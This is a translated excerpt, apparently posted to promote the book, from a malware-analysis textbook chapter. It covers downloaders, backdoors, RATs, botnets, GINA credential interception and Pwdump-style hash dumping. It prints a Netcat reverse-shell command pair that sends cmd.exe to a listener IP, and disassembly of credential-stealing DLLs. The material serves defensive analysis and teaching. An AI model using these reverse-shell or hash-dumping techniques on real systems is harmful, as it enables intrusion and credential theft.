The book “Autopsy will show! Practical Malware Analysis

    imageMalware analysis is like a cat and mouse game: no rules, the situation is constantly changing. Therefore, in this case it makes sense to study only timeless things and algorithms. As soon as you are faced with the task of protecting the network (or a thousand networks), you start such an analysis, and you simply cannot do without this book.

    Programs for downloading and running software


    There are two types of frequently found malware designed to download and run software. Downloaders (not to be confused with system downloaders) simply download additional malicious code from the Internet and run it on the local computer. They are often distributed along with the exploit. To download and run additional malware, they typically use two Windows API calls, one after another: URLDownloadtoFileA and WinExec.

    Launcher (launcher) is an executable file that installs malicious applications for their hidden execution (immediately or after some time). Launchers often come with the software they need to run. We will discuss them in chapter 12.

    Backdoors


    Backdoors are programs that give an attacker access to the victim’s computer. They are the most detectable type of malware, and their size and feature set can vary significantly. The backdoor code is usually self-contained and does not require the download of additional infected files.

    Backdoors communicate over the Internet in many different ways, but data transmission usually takes place via HTTP protocol on port 80. HTTP accounts for most of the outgoing network traffic, which gives malware an excellent opportunity to go unnoticed against the rest of the information.

    From Chapter 14, you will learn how to analyze backdoors at the packet level, creating efficient network signatures. For now, we will focus on high-level interaction.
    Backdoors come with a standard set of functions: the ability to manipulate registry keys, count the displayed windows, create directories, search for files, etc. To understand what exactly this backdoor uses, you can check which Windows API functions it imports. Appendix A provides a list of common features describing what they can say about malware.

    Reverse command shell


    A reverse command shell is a connection that initiates an infected computer, providing command access to an attacker. It can be either a separate malware or one of the components of a more complex backdoor. Being in the reverse command shell, an attacker can execute commands as if all this happens in his local system.

    Reverse Netcat command shell


    The Netcat program, which we discussed in Chapter 3, can be used to create a command shell if run on two computers. Attackers often use it, and also complement it with other malicious software.
    To use Netcat as such, the remote system must wait for incoming connections using the following command:

    nc -l –p 80

    The -l option switches Netcat to listening mode, and the -p option specifies the port to be monitored. Next, the victim's computer initiates an outgoing connection and provides its command shell:

    nc слушатель_ip 80 -e cmd.exe

    ip 80 listener is the IP address and port of the remote host. The -e option allows you to specify the program that will be launched when the connection is established. Its standard input and output will be bound to a socket (as you will see later, Windows often uses cmd.exe).

    Reverse Command Shell Windows


    Attackers use two simple cmd.exe-based reverse command shell implementations: basic and multithreaded.

    The basic method is popular among malware authors, since it is easier to implement and, in general, it works just as well as a multithreaded approach. It is based on calling CreateProcess and changing the structure of the STARTUPINFO, which is passed to it. First a socket is created and a connection to the remote server is established. Then this socket is bound to standard threads (input, output, and error stream) of the cmd.exe process. CreateProcess runs cmd.exe in windowless mode to hide it from the victim. Chapter 7 provides an example of this technique.

    A multi-threaded version of the reverse Windows command shell involves creating a socket, two pipes, and two threads of execution (so you should look for the CreateThread and CreatePipe calls). This method is sometimes used by malware authors as part of a strategy to modify or encode data transmitted over a socket. The CreatePipe function can be used to bind reading and writing ends to a channel, such as standard input (stdin) and standard output (stdout). The CreateProcess function allows you to bind standard streams to a channel, rather than directly to a socket. After calling it, the malware will create two threads: one to read from the stdin channel and write to the socket, and the other to read from the socket and write to the stdout channel. Typically, these threads perform data encoding, which we will discuss in Chapter 13.

    Remote Administration Tools


    Remote administration tools (RAT) are used to control a computer or computers over a network. They are often involved in narrowly targeted attacks — for example, when stealing information or moving from computer to computer.

    In fig. Figure 11.1 shows the network structure of the RAT. The server running on the victim’s system is equipped with malicious code. The client works remotely, since the control module is at the disposal of the attacker. Servers signal the client that controls them to initiate a connection. Interoperability in the RAT usually occurs through standard ports, such as 80 or 443.

    image

    Botnets


    A botnet is a set of infected network nodes (zombies) that are centrally managed, usually with the help of a server, which is called a botnet controller. The botnet's goal is to infect as many computers as possible and create a large-scale network on their basis, which can be used both to spread other malware or spam and to execute DDoS attacks (distributed denial-of-service). ). If all the zombies simultaneously attack a certain site, it may become inaccessible.

    Comparing RAT and Botnets


    There are several important differences between botnets and remote administration tools.

    • Botnets are known to infect and control millions of nodes. RATs are usually managed by a much smaller number of computers.
    • All botnet members are managed simultaneously. RAT allows you to allocate resources between different victims, since the attacker has the possibility of much closer interaction with infected systems.
    • RATs are used in targeted attacks, while botnets are distinguished by their mass character.

    Theft of credentials


    Attackers often go for all sorts of tricks to steal credentials. This especially applies to the three types of malware.

    • Programs that steal user credentials at the time he logs on.
    • Programs that copy information stored in Windows (passwords, hashes, etc.) for direct use or further decryption.
    • Programs that record keystrokes.

    In this section, we will look at each of these types of malware.

    GINA Interception


    In Windows XP, a method consisting of intercepting GINA (graphical identification and authentication) is used to steal credentials. The GINA system was designed to allow third-party applications to tailor the login process, adding support for technologies such as hardware-based radio frequency identification (RFID) based on markers or smart cards. Malware authors take this opportunity to download code that steals credentials.

    GINA is implemented as a DLL called msgina.dll and loaded by Winlogon during login. Winlogon also supports third-party plug-ins by loading them in front of the GINA DLL (as in the attack of a mediator). For convenience, Windows provides the following registry branch, where Winlogon can find and load third-party DLLs:

    HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL

    Once we found an infected fsgina.dll file there that turned out to be a GINA interceptor.
    In fig. 11.2 shows an example of how the login data gets to the malicious library, passing from Winlogon to msgina.dll. The malware (fsgina.dll) manages to intercept all account information that the user enters during authentication. He can write it to disk or transfer it over the network.

    image

    Since the fsgina.dll library intercepts the interaction flow between Winlogon and GINA, it must transfer it further to msgina.dll in order for the system to continue to function normally. To do this, the malware has to export all the functions required by the GINA system - there are more than 15 of them, and most of them have the prefix Wlx. Obviously, when detecting a set of export functions in a DLL that start with Wlx, it is very likely that it is a GINA interceptor.

    Most of these export calls access the actual functions inside the msgina.dll. In the case of fsgina.dll, this applies to all functions except WlxLoggedOutSAS. Listing 11.1 shows the export of WlxLoggedOutSAS to fsgina.dll.

    Listing 11.1. Export function WlxLoggedOutSAS to the GINA DLL, with which stolen credentials are written

    100014A0 WlxLoggedOutSAS
100014A0push     esi
100014A1          push     edi
100014A2          push     offset aWlxloggedout_0 ; "WlxLoggedOutSAS"100014A7          call       Call_msgina_dll_function (1)
...
100014FB          push     eax ; Args
100014FC          push     offset aUSDSPSOpS ;"U: %s D: %s P: %s OP: %s"10001501push     offset aDRIVERS ; "drivers\tcpudp.sys"10001503          call       Log_To_File (2)

    The accounting information is immediately transferred to the msgina.dll file using a call denoted as Call_msgina_dll_function (1). This function dynamically finds and runs a call to WlxLoggedOutSAS from msgina.dll, which is specified as an argument. The call in line (2) records the data. As arguments, it takes account information, a format string with which this information will be displayed, and the name of the file to be written. As a result, information about any successful login is saved to the% SystemRoot% \ system32 \ drivers \ tcpudp.sys file. This file contains the username, domain, and two passwords — the current and the old.

    Saving hashes


    Malicious software in Windows often saves system hashes to access credentials. After saving, attackers try to decrypt these hashes offline or use them to attack like pass-the-hash. During this attack, LM and NTLM hashes are used for remote NTLM authentication, which does not require their decryption and the receipt of the corresponding password.

    To save hashes, there are software packages Pwdump and Pass-the-Hash (PSH), which are distributed free of charge. Since both of these tools are open source, a lot of malware has been created based on them.

    Most antiviruses have signatures for standard compiled versions of these utilities, so attackers often try to compile their own variations to avoid detection. The examples in this chapter are the pwdump and PSH variations that we encountered in real life.

    Pwdump is a set of programs that output security accounts (security account manager, SAM) hashes in LM i NTLM format belonging to local users. Pwdump injects a DLL inside the LSASS process (local security authority subsystem service), better known as lsass.exe. We will talk about DLL implementation in Chapter 12, but for now you only need to know that this is a technique by which malware runs libraries within other processes, taking advantage of all their privileges. Tools to save hashes often attack the lsass.exe process because it has sufficient privileges and access to many useful API functions.

    The standard version of Pwdump uses the lsaext.dll library. When embedded in lsass.exe, it calls the GetHash function, which is exported from lsaext.dll, to perform hashes extraction. It uses undocumented features of Windows, which will allow to obtain the sequence numbers of all users in the system and the unencrypted password hashes for each of them.

    Faced with a variation of Pwdump, you need to analyze its libraries to understand how the hashes are saved. First of all, you should pay attention to export functions. By default, a GetHash call is exported from Pwdump, but attackers can easily change its name to make it less recognizable. Then you should try to determine the functions that are used in export calls. Many of these can be found dynamically, so export calls to GetProcAddress are often found in export calls.

    Listing 11.2 shows the GrabHash export function code from a DLL in one of the Pwdump versions. Since the library is embedded in lsass.exe, before using many characters, it first has to find them manually.

    Listing 11.2. Unique API calls that are used by the GrabHash export function in one of the Pwdump options

    1000123F      push      offset LibFileName           ; "samsrv.dll" (1)
10001244      call        esi ; LoadLibraryA
10001248push      offset aAdvapi32_dll_0     ; "advapi32.dll" (2)
...
10001251      call        esi ; LoadLibraryA
...
1000125B      push      offset ProcName              ; "SamIConnect"10001260push      ebx                                 ; hModule
10001265      call        esi ; GetProcAddress
...
10001281push      offset aSamrqu ; "SamrQueryInformationUser"10001286push      ebx                                 ; hModule
1000128C      call        esi ; GetProcAddress
...
100012C2      push      offset aSamigetpriv ; "SamIGetPrivateData"100012C7      push      ebx                                 ; hModule
100012CD      call        esi ; GetProcAddress
...
100012CF      push      offset aSystemfuncti ; "SystemFunction025" (3)
100012D4      push      edi                                  ; hModule
100012DA      call        esi ; GetProcAddress
100012DC      push     offset aSystemfuni_0 ; "SystemFunction027" (4)
100012E1      push      edi                                   ; hModule
100012E7      call        esi ; GetProcAddress

    Listing 11.2 shows the code to get the descriptors of the samsrv.dll libraries (1) and advapi32.dll (2) using the call to LoadLibrary. The samsrv.dll file contains APIs for easy access to SAM, and the advapi32.dll file was found to access features that are not imported into lsass.exe. The dynamic library of this variation. Pwdump uses the descriptors of these libraries to search for a variety of functions. The five most important ones are shown in the listing (note the calls to GetProcAddress and their arguments).

    Interesting calls such as SamIConnect, SamrQueryInformationUser and SamIGetPrivateData are imported from samsrv.dll. The SamIConnect call is subsequently used to connect to SAM, after which SamrQueryInformationUser is called for each user in the system.

    The hashes are retrieved using the SamIGetPrivateData call and then decrypted using the SystemFunction025 and SystemFunction027 functions imported from advapi32.dll (lines (2) and (3)). None of the API functions in this listing are described in the official documentation.

    PSH Toolkit contains programs that create hash dumps. The most popular of these dumps is known as whosthere-alt. It stores the contents of the SAM, obtained by introducing the DLL in lsass.exe. In this case, when compared with Pwdump, a completely different set of API functions are used. Listing 11.3 shows the whosthere-alt version code, which exports a function named TestDump.

    Listing 11.3. Unique API calls that are used by the TestDump export function of whosthere-alt version

    10001119      push       offset LibFileName ; "secur32.dll"
1000111E      call         ds:LoadLibraryA
10001130      push       offset ProcName ; "LsaEnumerateLogonSessions"
10001135      push       esi                    ; hModule
10001136      call         ds:GetProcAddress (1)
...
10001670call         ds:GetSystemDirectoryA
10001676      mov        edi, offset aMsv1_0_dll ; \\msv1_0.dll
...
100016A6      push       eax                   ; path to msv1_0.dll
100016A9      call         ds:GetModuleHandleA (2)

    Since this library is embedded in lsass.exe, its TestDump function creates a hash dump. It dynamically loads the secur32.dll file and finds in it a call to LsaEnumerateLogonSessions (1) to get a list of local unique identifiers (locally unique identifiers, LUID). This list contains the names and domains that were provided with each login. The library goes through them to access account information. To do this, using the GetModuleHandle (2) call, it searches for the msv1_0.dll non-exported function, NlpGetPrimaryCredential, which allows you to create dumps of the NT and LM hashes.

    About the authors


    Michael Sikorsky is a security specialist for Mandiant. He analyzes malware in the context of incident investigation and is a US government information security consultant. Michael has developed a series of malware analysis courses and teaches them for a wide range of audiences, including the FBI and Black Hat. Prior to Mandiant, he was a member of the Lincoln Laboratory at MIT and conducted research on passive network topology and penetration testing. In addition, Michael completed a three-year interdisciplinary training program on systems and networks at the NSA. During his studies, he participated in the study of reverse engineering techniques and received several awards in the field of network analysis.

    Andrew Honig is an information security expert at the US Department of Defense. He teaches software analysis, reverse engineering and programming for the Windows operating system (OS) at the National School of Cryptography, being a certified information systems security specialist. Andrew has several zero-day exploits for VMware virtualization tools, as well as tools for detecting innovative malware, including infected kernel modules. With ten years of analytics experience in computer security, he is rightly considered an expert in analyzing and interpreting both malicious and ordinary programs.

    "More information about the book can be found on the website of the publisher
    "Table of Contents
    » Excerpt

    For Habrozhiteley 20% discount on the coupon - Autopsy will show
    Tags:

    Also popular now: